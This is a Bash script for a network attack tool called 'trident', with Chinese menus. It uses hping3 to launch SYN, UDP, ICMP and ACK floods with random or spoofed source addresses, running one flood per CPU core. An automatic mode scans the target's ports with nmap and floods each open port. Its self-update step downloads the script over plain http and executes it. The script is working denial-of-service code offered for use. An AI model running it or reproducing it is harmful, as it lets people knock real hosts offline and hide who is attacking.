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run.sh
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#!/bin/bash
# Repository <https://github.com/sshpc/trident>
export LANG=en_US.UTF-8
# 全局变量
selfversion='0.5.1'
datevar=$(date +%Y-%m-%d_%H:%M:%S)
menuname='首页'
parentfun=''
installType='apt -y install'
removeType='apt -y remove'
upgrade="apt -y update"
release='linux'
# 获取 CPU 核心数
CONCURRENT_ATTACKS=$(nproc)
TARGET_IP=""
SOURCE_IP=""
DURATION=10
PACKET_SIZE=120
TARGET_PORT=80
# 目录和文件路径
TRIDENT_TMP_DIR="$HOME/trident_tmp"
CONFIG_FILE="$TRIDENT_TMP_DIR/config.conf"
LOG_FILE="$TRIDENT_TMP_DIR/run.log"
# 颜色定义
_red() {
printf '\033[0;31;31m%b\033[0m' "$1"
echo
}
_green() {
printf '\033[0;31;32m%b\033[0m' "$1"
echo
}
_yellow() {
printf '\033[0;31;33m%b\033[0m' "$1"
echo
}
_blue() {
printf '\033[0;31;36m%b\033[0m' "$1"
echo
}
# 等待输入
waitinput() {
echo
read -n1 -r -p "按任意键继续...(退出 Ctrl+C)"
}
# 加载动画
loadingbak() {
local pids=("$@")
local delay=0.1
local spinstr='|/-\'
tput civis # 隐藏光标
while :; do
local all_done=true
for pid in "${pids[@]}"; do
if kill -0 "$pid" 2>/dev/null; then
all_done=false
local temp=${spinstr#?}
printf "\r\033[0;31;36m[ %c ] 正在执行 ...\033[0m" "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
fi
done
[[ $all_done == true ]] && break
done
tput cnorm # 恢复光标
printf "\r\033[K" # 清除行
}
loading() {
local pids=("$@")
local delay=0.1
local spinstr='|/-\'
tput civis # 隐藏光标
local -A prev_cpu_idle prev_cpu_total
# 初始化CPU数据
while read -r line; do
if [[ $line =~ ^cpu([0-9]+)[[:space:]]+([0-9]+[[:space:]]+)+ ]]; then
local core="${BASH_REMATCH[1]}"
local values=(${line#* })
local idle=$((values[3] + values[4])) # idle + iowait
local total=0
for val in "${values[@]:0:8}"; do
((total += val))
done
prev_cpu_idle["$core"]=$idle
prev_cpu_total["$core"]=$total
fi
done < /proc/stat
local last_update=$(date +%s)
printf "\n" # 为CPU信息预留空行
while :; do
local current_time=$(date +%s)
# 每秒更新CPU和负载信息
if (( current_time - last_update >= 1 )); then
local -A current_cpu_idle current_cpu_total
while read -r line; do
if [[ $line =~ ^cpu([0-9]+)[[:space:]]+([0-9]+[[:space:]]+)+ ]]; then
local core="${BASH_REMATCH[1]}"
local values=(${line#* })
local idle=$((values[3] + values[4]))
local total=0
for val in "${values[@]:0:8}"; do
((total += val))
done
current_cpu_idle["$core"]=$idle
current_cpu_total["$core"]=$total
fi
done < /proc/stat
# 计算CPU使用率
local -A core_usage
for core in "${!current_cpu_idle[@]}"; do
if [[ -n "${prev_cpu_idle[$core]}" ]]; then
local diff_idle=$((current_cpu_idle[$core] - prev_cpu_idle[$core]))
local diff_total=$((current_cpu_total[$core] - prev_cpu_total[$core]))
if (( diff_total > 0 )); then
core_usage["$core"]=$(( (100 * (diff_total - diff_idle)) / diff_total ))
else
core_usage["$core"]=0
fi
fi
done
# 更新历史数据
for core in "${!current_cpu_idle[@]}"; do
prev_cpu_idle["$core"]=${current_cpu_idle[$core]}
prev_cpu_total["$core"]=${current_cpu_total[$core]}
done
# 获取负载信息
read -r load1 load5 load15 _ < /proc/loadavg
local cpu_info="CPU:"
for core in $(printf "%s\n" "${!core_usage[@]}" | sort -n); do
cpu_info+=" [${core_usage[$core]}%]"
done
cpu_info+=" | Load: ${load1} ${load5} ${load15}"
# 更新CPU信息显示
printf "\033[A\r\033[K%s" "$cpu_info"
printf "\033[B" # 光标移回进度行
last_update=$current_time
fi
# 检查进程状态
local all_done=true
for pid in "${pids[@]}"; do
if kill -0 "$pid" 2>/dev/null; then
all_done=false
break
fi
done
$all_done && break
# 更新旋转进度
printf "\r\033[0;36m[ %c ] 正在执行...\033[0m" "$spinstr"
spinstr=${spinstr:1}${spinstr:0:1}
sleep "$delay"
done
tput cnorm # 恢复光标
printf "\r\033[K" # 清除进度行
printf "\033[A\r\033[K" # 清除CPU信息行
}
# 字符跳动效果
jumpfun() {
local str=$1
local delay=${2:-0.05}
for ((i = 0; i < ${#str}; i++)); do
printf '\033[0;31;36m%b\033[0m' "${str:$i:1}"
sleep "$delay"
done
echo
}
#检查系统
checkSystem() {
if [[ -n $(find /etc -name "redhat-release") ]] || grep </proc/version -q -i "centos"; then
release="centos"
installType='yum -y install'
removeType='yum -y remove'
upgrade="yum update -y --skip-broken"
elif grep -q -i "debian" /etc/issue || grep -q -i "debian" /proc/version || grep -q -i "ID=debian" /etc/os-release; then
release="debian"
installType='apt -y install'
upgrade="apt update"
removeType='apt -y autoremove'
elif grep -q -i "ubuntu" /etc/issue || grep -q -i "ubuntu" /proc/version; then
release="ubuntu"
installType='apt -y install'
upgrade="apt update"
removeType='apt -y autoremove'
elif grep -q -i "Alpine" /etc/issue || grep -q -i "Alpine" /proc/version; then
release="alpine"
installType='apk add'
upgrade="apk update"
removeType='apk del' # 修正错误的删除命令
else
_red "不支持此系统"
exit 1
fi
}
# 优化检查依赖函数，添加错误处理
check_deps() {
local deps=('hping3' 'nmap' 'curl')
for dep in "${deps[@]}"; do
if ! command -v "$dep" &>/dev/null; then
_yellow "$dep 未安装，正在安装..."
if ! ${upgrade} || ! ${installType} "$dep"; then
_red "安装 $dep 失败，请检查网络或权限。"
exit 1
fi
fi
done
}
# 优化清理函数，使用更安全的方式终止子进程
cleanup() {
_yellow "清理中，杀掉所有子进程..."
local pids=$(jobs -p)
[ -n "$pids" ] && kill $pids
}
# 菜单头部
menutop() {
clear
_yellow " | v: $selfversion"
_yellow '| | |'
_yellow "__|__ 目标IP: $TARGET_IP"
_yellow ' | '
_yellow ' | '
_yellow " | OS: $release "
echo
_blue "当前菜单: $menuname "
echo
}
# 菜单渲染
menu() {
menutop
# 如果文件存在重新加载配置
if [[ -f "$CONFIG_FILE" ]]; then
source "$CONFIG_FILE"
fi
local options=("$@")
local num_options=${#options[@]}
local max_len=0
for ((i = 0; i < num_options; i += 2)); do
local str_len=${#options[i]}
((str_len > max_len)) && max_len=$str_len
done
for ((i = 0; i < num_options; i += 4)); do
printf "%s%*s " "$((i / 2 + 1)): ${options[i]}" "$((max_len - ${#options[i]}))"
[[ -n "${options[i + 2]}" ]] && printf "$((i / 2 + 2)): ${options[i + 2]}"
echo -e "\n"
done
_blue "q: 退出 b: 返回 0: 首页"
echo
read -ep "请输入命令号: " number
case "$number" in
[1-$((num_options / 2))])
local action_index=$((2 * (number - 1) + 1))
parentfun=${options[action_index]}
${options[action_index]}
waitinput
main
;;
0) main ;;
b) ${FUNCNAME[3]} ;;
q) exit ;;
*)
_red '输入错误'
waitinput
main
;;
esac
}
# 记录日志函数
log_action() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local action_type=$1
local command=$2
echo "$timestamp | $action_type | $command" >>"$LOG_FILE"
}
# 封装保存配置到文件的函数
save_config() {
echo -e "TARGET_IP=$TARGET_IP\nDURATION=$DURATION\nPACKET_SIZE=$PACKET_SIZE\nTARGET_PORT=$TARGET_PORT\nSOURCE_IP=$SOURCE_IP" >"$CONFIG_FILE"
_green "配置已保存到 $CONFIG_FILE"
}
# 配置目标 IP
configure_target_ip() {
while true; do
read -ep "请输入目标IP: " target_ip
if [[ -z "$target_ip" ]]; then
_red "错误：IP地址不能为空"
continue
fi
if [[ "$target_ip" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]] || [[ "$target_ip" =~ ^([a-fA-F0-9]{1,4}:){7}[a-fA-F0-9]{1,4}$ ]]; then
TARGET_IP=$target_ip
break
else
_red "错误：无效的IP地址格式"
fi
done
save_config
}
# 配置数据包大小
configure_packet_size() {
read -ep "请输入数据包大小(默认 120): " packet_size
packet_size=${packet_size:-120}
PACKET_SIZE=$packet_size
save_config
}
# 配置持续时间
configure_duration() {
read -ep "请输入持续时间(秒，默认 10): " duration
duration=${duration:-10}
DURATION=$duration
save_config
}
# 配置目标端口
configure_target_port() {
read -ep "请输入目标端口(默认 80): " target_port
target_port=${target_port:-80}
TARGET_PORT=$target_port
save_config
}
configure_source_ip() {
read -ep "请输入源IP地址(为空则随机ip): " source_ip
SOURCE_IP=$source_ip
save_config
}
# 执行攻击的通用函数
execute_attack() {
local attack_type=$1
local attack_flag=$2
local target_ip=$3
local target_port=$4
local packet_size=$5
local duration=$6
local sourcepattern="--rand-source"
#判断来源IP不为空
if [[ -n "$SOURCE_IP" ]]; then
sourcepattern="-a $SOURCE_IP"
fi
log_action "Attack Start" "hping3 -c $((duration * 1000)) -d $packet_size $attack_flag -p $target_port --flood $sourcepattern $target_ip"
if [[ "$attack_type" == "ICMP" ]]; then
_yellow "攻击类型: $attack_type"
_yellow "目标: $target_ip"
_yellow "命令: hping3 -c $((duration * 1000)) -d $packet_size $attack_flag --flood $sourcepattern $target_ip"
hping3 -c $((duration * 1000)) -d "$packet_size" $attack_flag --flood $sourcepattern "$target_ip" &
else
_yellow "攻击类型: $attack_type"
_yellow "目标: $target_ip:$target_port"
_yellow "命令: hping3 -c $((duration * 1000)) -d $packet_size $attack_flag -p $target_port --flood $sourcepattern $target_ip"
hping3 -c $((duration * 1000)) -d "$packet_size" $attack_flag -p "$target_port" --flood $sourcepattern "$target_ip" &
fi
}
# 新增参数验证函数
validate_params() {
local required_params=("$@")
local need_prompt=false
# 检查必填参数对应的全局变量
for param in "${required_params[@]}"; do
case "$param" in
"IP")
if [[ -z "$TARGET_IP" ]]; then
_yellow "目标IP未配置"
configure_target_ip
need_prompt=true
fi
;;
"PORT")
if [[ -z "$TARGET_PORT" ]]; then
_yellow "目标端口未配置"
configure_target_port
need_prompt=true
fi
;;
"SIZE")
if [[ -z "$PACKET_SIZE" ]]; then
_yellow "数据包大小未配置"
configure_packet_size
need_prompt=true
fi
;;
"TIME")
if [[ -z "$DURATION" ]]; then
_yellow "持续时间未配置"
configure_duration
need_prompt=true
fi
;;
esac
done
# 保存最新配置
if [[ $need_prompt == true ]]; then
save_config
source "$CONFIG_FILE" # 重新加载配置
fi
}
# 手动攻击
hping3_attack() {
menuname="首页/HPING3攻击"
attack_menu() {
local attack_type=$1
local attack_flag=$2
if [[ "$attack_type" == "ICMP" ]]; then
validate_params "IP" "SIZE" "TIME"
else
validate_params "IP" "PORT" "SIZE" "TIME"
fi
jumpfun "开始执行攻击..."
local pids=()
for ((i = 0; i < CONCURRENT_ATTACKS; i++)); do
execute_attack "$attack_type" "$attack_flag" "$TARGET_IP" "$TARGET_PORT" "$PACKET_SIZE" "$DURATION"
pids+=($!) # 收集子进程 PID
done
loading "${pids[@]}" # 显示加载动画
wait # 等待所有子进程完成
jumpfun "攻击完成"
}
options=(
"SYN Flood" "attack_menu SYN -S"
"UDP Flood" "attack_menu UDP --udp"
"ICMP Flood" "attack_menu ICMP --icmp"
"ACK Flood" "attack_menu ACK -A"
)
menu "${options[@]}"
}
# 全自动攻击
auto_attack() {
menuname="首页/全自动攻击"
validate_params "IP"
_yellow "开始扫描目标的常用端口..."
local open_ports=$(nmap -p 1-1024,3306,3389,8080,8888,8443 --min-rate=1000 -T4 "$TARGET_IP" | grep 'open' | awk -F '/' '{print $1}')
_yellow "开放端口: $open_ports"
local attack_types=()
if [[ -n "$open_ports" ]]; then
for port in $open_ports; do
attack_types+=("SYN" "-S" "$port")
attack_types+=("ACK" "-A" "$port")
attack_types+=("UDP" "--udp" "$port")
done
else
attack_types+=("ICMP" "--icmp" "")
fi
jumpfun "开始自动攻击..."
local pids=()
#并发攻击
for ((i = 0; i < ${#attack_types[@]}; i += 3)); do
local attack_type=${attack_types[i]}
local attack_flag=${attack_types[i + 1]}
local target_port=${attack_types[i + 2]}
# 动态调整攻击参数
case "$attack_type" in
"UDP")
PACKET_SIZE=512 # 对于 UDP 攻击，增加数据包大小
;;
"ICMP")
DURATION=5 # 对于 ICMP 攻击，缩短持续时间
;;
"SYN" | "ACK")
PACKET_SIZE=120 # 对于 SYN/ACK 攻击，使用默认数据包大小
;;
esac
_yellow "执行 $attack_type 攻击..."
execute_attack "$attack_type" "$attack_flag" "$TARGET_IP" "$target_port" "$PACKET_SIZE" "$DURATION"
pids+=($!) # 收集子进程 PID
# 计算若超过cpu核数退出循环
if [[ ${#pids[@]} -gt $CONCURRENT_ATTACKS ]]; then
break
fi
done
loading "${pids[@]}"
wait # 等待所有子进程完成
_green "自动攻击完成"
}
# NMAP扫描函数
nmap_scan() {
menuname="首页/NMAP扫描"
validate_params "IP"
execute_scan() {
local scan_type=$1
local scan_flag=$2
_yellow "执行 $scan_type 扫描: $TARGET_IP"
nmap $scan_flag "$TARGET_IP" &
local pid=$!
loading $pid
wait $pid
jumpfun "扫描完成"
}
options=(
"快速扫描" "execute_scan Quick -F"
"全面扫描" "execute_scan Comprehensive -A"
"端口扫描" "execute_scan Ports -p-"
)
menu "${options[@]}"
}
# 升级脚本函数
update_script() {
wget -N http://raw.githubusercontent.com/sshpc/trident/main/run.sh
# 检查上一条命令的退出状态码
if [ $? -eq 0 ]; then
jumpfun '卸载旧版临时文件'
rm -rf $TRIDENT_TMP_DIR
jumpfun '更新成功'
chmod +x ./run.sh && ./run.sh
else
_red "下载失败,请重试"
fi
}
cat_log(){
_yellow "tail -20 $LOG_FILE"
tail -20 $LOG_FILE
}
# 高级设置
advanced_settings() {
menuname="首页/高级设置"
options=(
"配置-目标 IP" configure_target_ip
"配置-数据包大小" configure_packet_size
"配置-持续时间" configure_duration
"配置-目标端口" configure_target_port
"配置-来源 IP" configure_source_ip
)
menu "${options[@]}"
}
# 主菜单
main() {
# 加载配置文件
if [ -f "$CONFIG_FILE" ]; then
source "$CONFIG_FILE"
fi
menuname='首页'
options=(
"全自动攻击" auto_attack
"手动攻击" hping3_attack
"端口扫描" nmap_scan
"升级脚本" update_script
"高级设置" advanced_settings
"查看日志" cat_log
)
menu "${options[@]}"
}
# 检查系统
checkSystem
# 检查依赖
check_deps
# 检查并创建目录
if [ ! -d "$TRIDENT_TMP_DIR" ]; then
mkdir -p "$TRIDENT_TMP_DIR"
fi
# 脚本退出时清理
trap cleanup EXIT
main